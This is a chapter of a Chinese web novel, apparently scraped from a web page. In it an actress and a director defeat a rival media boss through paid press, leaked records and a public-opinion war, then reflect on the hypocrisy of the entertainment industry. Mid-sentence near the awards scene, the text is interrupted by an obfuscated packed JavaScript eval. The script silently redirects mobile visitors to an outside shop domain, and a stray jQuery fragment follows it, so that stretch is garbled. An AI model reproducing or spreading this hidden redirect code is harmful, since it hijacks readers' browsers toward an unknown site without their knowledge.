宜薇在初冬的冷意里合上车窗,拨通新助理苏荷的电话。
“该动手了。”
对面静了几秒:“听你的。”
而顾川罕见地没有任何反击举动。
只是宜薇不知道的是,他连续三天没离开办公室,桌上排开三部手机。他知道,乔意之所以敢如此嚣张,是因为他掌控着舆论的“水龙头”。想要扳倒乔意,就必须先找到他控制水军的“证据”,并且,要用比他更狠辣的方式。
他首先找到了几个有背景的狗仔队,利用自己积累多年的人脉和资源,开始暗中调查乔意。
他怀疑乔意不仅仅是为了“报复”宜薇,背后一定有更大的利益链。第四天,两个相熟的娱乐记者带了几个信封进去,出来时,信封换成了皮箱。
与此同时,宜薇和苏荷约见了一个人。那是一个在网络舆论界颇有名气的“信息掮客”,人称“影子”。
“影子”是个神秘人物,他总能拿到别人拿不到的爆料,并且从不露面,只通过加密通讯和合作者交易。
当天傍晚,长桌对面坐着个穿黑夹克的男人,戴着口罩,只露出一双熬红的眼。
宜薇把一枚黑色U盘推过去。
男人伸手按住:“洛小姐,我只管放水,不管死活。”
“我要他彻底闭嘴。”宜薇说。
男人收起U盘,起步进了雨幕。
顾川也在同步进行着他的计划。他深知,光有证据是不够的,还要有足够的“时机”和“火力”。
他利用自己那部被搁置的电影,开始在电影资本界的高层圈子里“吹风”,暗示这部电影的背后,牵扯着巨大的利益输送和暗箱操作,而乔意,正是关键人物之一。
与之同步进行的,还有另一件事。
他悄悄联系了那家控制水军的公关公司,支付了一笔巨款,要求对方在一段时间内,对所有关于他和宜薇的负面新闻,以及对乔意不利的消息,都保持“中立”,不参与任何一方的舆论战。
“这是背水一战。”顾川看着宜薇,眼神里带着一种决绝,“我们不用正面响应,只要让对方失声,我们自然能找到机会,一击致命。”
乔意显然没有料到,宜薇会如此“顽强”,他以为凭着自己的手段,足以让宜薇屈服。当他发现情况有些不对劲时,已经晚了。
一些关于乔意“私生活混乱”、“涉嫌商业贿赂”的传闻,开始在一些小圈子里流传,虽然还未到铺天盖地的地步,但已经引起了一些“有心人”的注意。
随后,一些被乔意曾经得罪过的、或是被他踩在脚下的艺人、制片人,也开始“不经意”地向媒体透露一些关于乔意的“蛛丝马迹”。
“乔意最近好像得罪了什么大人物,最近他的几个项目都出了问题,听说他好像卷入了一些不干净的交易。”
“我听说,他最近还在和一些‘水军’公司联系,好像在策划什么大动作,不过现在那些公司好像都接不到他的单子了。”
这些零散的消息,像无数根细小的针,开始刺破乔意精心维持的形象。
最让他意想不到的,是易思年和老张都开始对他避而不见了。
几日后,一场重要的媒体行业论坛上,一位以敢言著称的资深媒体人,在发言中,含沙射影地提到了“一些利用舆论操纵市场的行为”,以及“一些不法商人,如何利用新人上位,进行利益输送”。虽然没有点名,但言语中指向的意味,让在场所有人都心照不宣。
乔意感到前所未有的恐慌。他发现,自己引以为傲的“水军”,突然变得沉默了。那些曾经在他手下听话的公关公司,不是推脱说“目前业务繁忙”,就是干脆“失联”。
他甚至发现,一些原本应该攻击宜薇和顾川的“水军”,竟然开始“混淆是非”,发布一些模棱两可的言论,甚至有人开始暗示,是有人在恶意抹黑。
“混蛋!”乔意在自己的办公室里,将手中的马克杯狠狠地摔在地上,碎片四溅。他知道,自己又被摆了一道。
明明当初顾川也是这样蛇吞象,一步步上位,为什么自己就不可以?!
而顾川,也在蛰伏,等着时机。
当乔意的舆论阵地开始混乱,他的人马开始出击。
这次,不再是暗中调查,而是光明正大的“反击”。
同日,顾川见了某公关公司的负责人。账目划过去一笔账,顾川只说了一句话:“两周之内,关于我的事,你们一个字也别发。”
负责人看着转账账单,点了头。
第五天,风向变了。
几个名不见经传的小号开始抛出乔意的股权书复印件和几张模糊的夜会照片。
另一边,乔意连续拨了七个公关经理的电话,五个无人接听,两个说“正在开会”。他调出平时最听话的千人水军群,里面的置顶消息是:系统维护,暂停接单。
第二日下午三点,顾川工作室发布声明。
没有多余的修辞,只有九张长图:乔意公司对几家营销号的银行转账流水,时间、金额、公章清晰可见。
三个小时后,“乔意操纵舆论”的词条在热搜榜首挂红。
与乔意传媒公司旗下艺人有合作的各大品牌方,在两小时内连续发出十七道解约声明。
宜薇看着手机,手心全是汗。
顾川的短信进来,只有四个字:
“事情办完了。”
半个月后,影视基地。
顾川去探班。宜薇刚卸完妆,坐在塑料靠椅上吹风。
顾川走过去,站在她身后,双手搭在她肩上。
“还撑得住?”
宜薇靠在椅背上,闭上眼睛:“能睡个好觉了。”
顾川没说话,只是把手握得紧了些。
那部搁置的电影,最终成功送选。
首映礼那天,掌声响了五分钟。宜薇坐在台下第一排,顾川在台上,两人隔着人群对视,一眼地老天荒。
宜薇为顾川电影演唱的OST也再度发行,关于她的舆论再度反转,公众对她的好感重新飙升,这首OST霸榜数周,更让她获奖无数。
单曲发行的那天,顾川没有安排买热搜,也没有开新闻发布会。音源是在午夜十二点直接上线的。
凌晨两点,各大乐评网站的评分开出,九点八分。黑色的唱片封面上,只有“宜薇”两个字,连海报都没做。
三天后,金曲奖入围名单公布,这首OST斩获了最佳作曲、最佳作词、最佳影视歌曲在内的五项提名。
颁奖礼当晚,宜薇一身素白长裙登台,接过了沉甸甸的奖杯。台下掌声雷动,那些半个月前在网络上对她口诛笔伐的同行,此刻正坐在台下,满脸真挚地为她起立鼓掌。
她站在麦克风前,看着台下黑压压的人群和闪烁的镁光灯,只说了两句谢谢,便转头下台。
后台的休息室里,堆满了各大品牌方和制片人送来的红玫瑰,花卡上写满了“行业之光”、“无冕之王”的赞美。
苏荷在一旁接着电话,声音沙哑,手里记录通告的本子已经翻到了最后一页。几个之前单方面提出解约的代言品牌,如今正带着翻倍的签约金在门外排队。
宜薇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598754|202723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卸了妆,看着镜子里的自己。没有大仇得报的痛快,只有一种深不见底的平静。
她想起半个月前,自己被全网围剿时,那些人避之不及的眼神;而如今,她拿了奖,这些人又带着最挑不出毛病的笑容围了过来。
这地方没有对错,甚至没有真正的恨。
这里只认输赢,只拜高台。
顾川推门进来,手里拎着一瓶香槟。他没看那一屋子的红玫瑰,只是顺手把门反锁,挡住了外面的嘈杂。
“累了?”顾川给她揉着太阳穴。
“不累。”宜薇闭上眼,轻轻一笑,“只是越来越觉得,这个圈子挺有意思的。”
“是吗?”
“他们给我的掌声越响,我越觉得那天晚上的暴雨其实没停过。”宜薇自嘲地笑了笑,“乔意倒了,但只要站得够高,谁都可以是下一个乔意。”
顾川拉过一把椅子坐在她对面,揉了揉眉心:
“看清了,以后走路就能踩得更实。”
宜薇点头。她站起身,连那些包装精美的奖杯都没拿,只拿了外套,和顾川一前一后走出了后台。
外面的通道很长,头顶的白炽灯晃得人眼晕,但两人的脚步都很稳,没有回头。
年底十二月,行业跨年盛典。
半年前拟定的压轴红毯名单里,原本没有宜薇。入场前一个小时,主办方的车停在酒店门口,执行导演亲自上楼提裙摆,把她换到了压轴的位置。
走进宴会厅,原先排在第三排的圆桌签被换掉了。宜薇被引到了正中央的主桌,主位上坐着圈内最资深的几位投资人。
半年前撤资最快的那位刘总,此时正端着酒杯走过来。他脸上的笑容很厚,眼角的皱纹堆在一起,如同慈祥的长辈。他把杯子放得很低,主动碰了碰宜薇面前那杯没动过的矿泉水。
“小薇啊,当初那个项目因为客观原因搁置,我这心里一直过意不去。这不,新盘子刚攒好,综艺节目计划我让人亲自送去你工作室。”刘总的声音不大不小,刚好能让半个宴会厅的人听见。
宜薇没端杯子,只是点了点头:“看工作室安排。”
刘总没有半点尴尬,顺势喝了酒,笑着退回座位。
旁边几个原本在低头看手机的女演员,立刻收起手机围了过来。她们亲热地挽住宜薇的手臂,聊起最新的秀款和最近圈内的趣事,仿佛半年前在社交平台上联名点赞抹黑宜薇的人,根本不是她们。每个人脸上都挂着无懈可击的真诚,甚至有人眼里泛起崇拜的泪光。
隔着两张桌子,那个曾经在乔意手下最得力的公关总监,此刻正端着红酒,隔空向宜薇举杯致意。他的眼神里没有一丝仇恨,只有近乎职业的谄媚与温顺。
这地方很干净。
干净到只要你赢了,身边连一个坏人都没有,全是笑脸、鲜花和高帽子。
这地方也很脏。
脏在那些笑脸和鲜花,随时可以变成砸向你的第一块石头。他们不恨你,也不爱你,他们只跟着赢家走。
散场时,苏荷在保姆车里翻看着新送来的几十份合同,冷笑了一声:“这就是娱乐圈。只要你够狠、够红,全天下最虚伪、最阴暗的人,都得排着队来向你献殷情。这感觉,其实挺过瘾的。”
宜薇降下车窗。外面的闪光灯还在亮,那些记者为了拍到她的一张侧脸,几乎把身体探进了车道。
她靠在椅背上,看着那些狂热的脸,突然低头笑了。
这确实是个烂透了的地方。但正因如此,留下来,站在最高处看这群见风使舵的人演戏,反而成了最有趣的游戏。